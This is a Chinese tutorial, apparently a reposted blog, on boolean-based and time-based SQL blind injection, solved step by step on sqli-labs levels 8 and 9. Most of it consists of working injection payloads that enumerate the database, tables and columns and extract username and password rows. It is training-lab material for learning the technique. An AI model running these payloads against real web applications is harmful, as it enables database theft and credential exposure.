sql盲注练习

sql盲注的分类

首先sql盲注分为基于布尔的盲注以及基于时间的盲注。

基于布尔的盲注

【特点】:页面存在异常,但是既无回显也无报错信息
【利用】:只能通过正确和错误的两个状态来判断payload是否正确
也就是说通过人工方式不断尝试,最终得到想要的信息

基于时间的盲注

【特点】:页面不存在异常,且既无回显也无报错信息
【利用】:只能利用条件语句结合执行时间的长短来判断payload是否正确
使用条件语句if(exp1,exp2,exp3)
如果exp1是true,则执行exp2,否则执行exp3
时间盲注的【核心思想】:
if(payload,sleep(3),1)
payload正确时,程序暂停3秒,否则立刻执行
if(payload,1,sleep(3))
payload正确时,程序立刻执行,否则暂停3秒

sql盲注练习

sqli-labs第8关 布尔型盲注

【步骤1】求闭合字符

在这里插入图片描述
在这里插入图片描述

网站的闭合字符应该为单引号’

【步骤2】求当前数据库名的长度
判断当前数据库名长度为8

//其中NUMBER 为测试数字
?id=1' and length(database())<NUMBER %23

在这里插入图片描述
在这里插入图片描述

【步骤3】求当前数据库名对应的ascii值
跟步骤2类似,利用运算符>或者<不断缩小范围。
下图显示求出第一个字符为s,依次类推求出剩余7个字符
最终得到 security

//其中NUMBER 为测试数字
?id=1' and ascii(substr(database(),1,1))<NUMBER %23

在这里插入图片描述

【步骤4】求表的数量

扫描二维码关注公众号,回复: 15010614 查看本文章
//其中NUMBER 为测试数字
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')<NUMBER %23

在这里插入图片描述

【步骤5】求表名长度

//其中NUMBER 为测试数字
?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)<NUMBER %23

在这里插入图片描述

【步骤6】求表名对应的ascii值

//其中NUMBER 为测试数字
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<NUMBER %23

依次类推 得到剩余5个字符的ascii值,最终得到该表为email在这里插入图片描述

【步骤7】求列的数量

//其中NUMBER 为测试数字
?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')<NUMBER %23

在这里插入图片描述

【步骤8】求列名长度

//其中NUMBER 为测试数字
?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)<NUMBER %23

在这里插入图片描述

【步骤9】求列名对应的ascii值

//其中NUMBER 为测试数字
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))<NUMBER %23

依次求出另外一个字符的ascii值
最终确认为id
在这里插入图片描述

【步骤10】求字段的数量

//其中NUMBER 为测试数字
?id=1' and (select count(concat(username,0x23,password)) from security.users)<NUMBER %23

在这里插入图片描述

【步骤11】求字段内容长度

//其中NUMBER 为测试数字
?id=1' and (select length(concat(username,0x23,password)) from security.users limit 0,1)<NUMBER %23

在这里插入图片描述

【步骤12】求字段内容对应的ascii值

//其中NUMBER 为测试数字
?id=1' and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))<NUMBER %23

最终结果为Dumb#Dumb

在这里插入图片描述

sqli-labs第9关 时间型盲注

【步骤1】求闭合字符

//若执行了sleep()函数,则说明闭合字符为单引号
?id=1' and sleep(5) %23

在这里插入图片描述

响应时间为5.24s 说明执行了sleep(5) 即闭合字符为单引号‘
【步骤2】求当前数据库名的长度

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if(length(database())=8,sleep(5),1) %23

注意:在实际的手工测试过程中一般使用运算符>或者<来进行判断,最终确定。
在这里插入图片描述

数据库名长度为8
【步骤3】求当前数据库名对应的ascii值

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if(ascii(substr((select database()),1,1))=115,sleep(5),1)%23

在这里插入图片描述

得到数据库名的第一个字符为s,依次求出剩余7个字符
得到数据库名为security
【步骤4】求表的数量

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if((select count(*) from information_schema.tables where table_schema='security')=4,sleep(5),1)%23

在这里插入图片描述

数据库名为security下有4个表

【步骤5】求表名长度

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6,sleep(5),1)%23

在这里插入图片描述

依次得到表名长度为6、8、7、5
【步骤6】求表名对应的ascii值

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),sleep(5),1)%23

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

得到第一个表名为emails 依次得到另外3个表名分别为referers、uagents、users
【步骤7】求列的数量

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1)%23

在这里插入图片描述

security.users 中列数为3
【步骤8】求列名长度

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,sleep(5),1)%23

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第一列 长度为2
第二列 长度为8
第三列 长度为8
【步骤9】求列名对应的ascii值

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if(ascii(substr((select(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)%23

在这里插入图片描述

第一列 列名为id
第二列 列名为username
第三列 列名为password
【步骤10】求字段的数量

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if((select count(concat(username,0x23,password)) from security.users)=13,sleep(5),1)%23

在这里插入图片描述

数量为13
【步骤11】求字段内容长度

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if((select length(concat(username,0x23,password)) from security.users limit 0,1)=9,sleep(5),1)%23

在这里插入图片描述

第一个字段内容长度为9
【步骤12】求字段内容对应的ascii值

//使用if(payload,sleep(),1)条件语句,若payload为true,则执行sleep()函数,否则立刻执行
?id=1'  and if(ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68,sleep(5),1)%23

在这里插入图片描述

第一个字段内容为Dumb#Dumb

猜你喜欢

转载自blog.csdn.net/SUSUYUA/article/details/129107749